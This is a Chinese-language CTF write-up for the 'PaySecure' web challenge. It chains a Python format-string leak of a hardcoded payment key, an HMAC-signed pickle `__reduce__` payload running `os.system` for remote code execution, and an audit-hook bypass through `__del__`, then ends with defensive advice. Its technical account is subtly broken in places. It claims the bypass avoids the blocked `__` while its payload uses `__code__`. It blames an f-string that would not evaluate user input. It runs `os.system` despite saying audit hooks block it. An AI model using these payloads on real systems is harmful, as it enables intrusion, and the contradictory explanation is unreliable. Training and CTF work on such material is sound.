# PaySecure 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| PaySecure | 某支付平台新上线了一套安全支付系统，用于处理用户的在线支付交易。系统提供了交易凭证生成、支付回调处理、金额验证等功能。作为安全审计人员，你需要对系统进行全面评估，发现潜在的安全风险。系统采用Python开发，运行在最新版本的Python环境中。 | WEB | 3-4小时 | 困难 |否|

## FLAG
* 动态 flag

## 知识点
1. Python格式化字符串漏洞
2. Python函数字节码常量泄露
3. Python pickle反序列化漏洞
4. Python沙箱逃逸与审计钩子绕过
5. HMAC签名验证机制

## 解题步骤

### 步骤1: 信息收集与功能分析

首先访问支付平台，系统提供了以下主要功能：
- 用户注册与登录
- 交易凭证生成 (`/api/generate_receipt`)
- 支付回调处理 (`/api/callback`)
- 金额验证 (`/api/verify_amount`)
- 支付日志查询 (`/api/get_payment_log`)

通过分析前端页面和API文档，发现交易凭证生成功能接受一个模板参数，用于生成交易凭证。

### 步骤2: 发现格式化字符串漏洞

在交易凭证生成功能中，测试发现可以使用格式化字符串语法：

```
GET /api/generate_receipt?template={payment_verify.__code__.co_consts}
```

这个请求会返回`payment_verify`函数的字节码常量。通过分析发现，支付密钥隐藏在函数的常量中：

```python
def payment_verify(amount, user_id):
    secret_key = 'sk_live_7x9y2z8w5v4r3q1p0o6n'  # 支付密钥
    return amount > 0 and len(user_id) > 0
```

**关键点**：需要绕过黑名单过滤，黑名单包含`__`、`globals`、`class`等关键词，但可以使用`.`访问属性链。

### 步骤3: 获取支付密钥

通过格式化字符串漏洞，可以获取支付密钥：

```
{payment_verify.__code__.co_consts}
```

返回结果类似：
```
交易凭证：(None, 'sk_live_7x9y2z8w5v4r3q1p0o6n', 0, '')
```

从常量列表中提取支付密钥：`sk_live_7x9y2z8w5v4r3q1p0o6n`

### 步骤4: 分析支付回调机制

支付回调接口 (`/api/callback`) 需要两个参数：
1. Base64编码的交易数据
2. HMAC-SHA256签名

签名验证逻辑：
```python
def verify_signature(data, signature):
    expected = hmac.new(payment_secret.encode(), data.encode(), hashlib.sha256).hexdigest()
    return hmac.compare_digest(signature, expected)
```

### 步骤5: 构造pickle反序列化攻击

支付回调接口直接使用`pickle.loads()`处理数据，存在反序列化漏洞。需要构造恶意pickle数据并通过签名验证。

构造pickle RCE payload：
```python
import pickle
import base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('cat /var/log/payment_success.log',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
```

使用获取到的支付密钥生成有效签名。

### 步骤6: 绕过审计钩子

系统使用了Python 3.8+的审计钩子机制，拦截危险操作。审计钩子会检查`os.system`、`subprocess`、`import`等事件。

**关键绕过技巧**：
1. 审计钩子只在`verify_amount`函数中生效
2. 可以通过其他路径执行代码
3. 或者利用解释器清理机制

### 步骤7: 获取flag

成功执行RCE后，读取flag文件：
```
cat /var/log/payment_success.log
```

flag存储在支付成功日志中。

### 步骤8: 完整利用链

1. **注册/登录用户** → 获取会话权限
2. **格式化字符串泄露** → 获取支付密钥
3. **构造pickle payload** → 包含RCE命令
4. **生成有效签名** → 使用支付密钥
5. **发送支付回调** → 触发反序列化
6. **执行RCE读取flag** → 获取flag

## 技术细节

### 1. 格式化字符串漏洞利用
- 漏洞点：`f"交易凭证：{template}"` 直接拼接用户输入
- 绕过：使用`.`而非`__`访问属性，如`{payment_verify.__code__.co_consts}`
- 深度：需要理解Python函数对象的内部结构

### 2. pickle反序列化利用
- 漏洞点：`pickle.loads(base64.b64decode(data))`
- 利用：`__reduce__`魔术方法构造RCE
- 绕过：需要有效签名，使用泄露的支付密钥

### 3. 沙箱逃逸技巧
- 审计钩子：`sys.addaudithook()`拦截危险操作
- 绕过：利用`__del__`方法在对象销毁时执行代码
- 时机：解释器关闭时的清理机制

## 防护建议

1. **格式化字符串防护**：
   - 避免直接拼接用户输入到f-string
   - 使用安全的模板引擎
   - 严格过滤用户输入

2. **反序列化防护**：
   - 避免使用pickle处理不可信数据
   - 使用JSON等安全格式
   - 实现严格的输入验证

3. **沙箱安全**：
   - 审计钩子不是完全的安全解决方案
   - 使用专门的沙箱库
   - 限制可执行的操作

4. **密钥管理**：
   - 避免将密钥硬编码在代码中
   - 使用环境变量或密钥管理服务
   - 定期轮换密钥

## 总结

本题展示了支付系统中常见的安全漏洞组合：
- 格式化字符串导致信息泄露
- 反序列化漏洞导致RCE
- 沙箱机制的不完善

解题需要深入理解Python语言特性、对象模型和安全机制，体现了Web安全中代码审计和业务逻辑分析的重要性。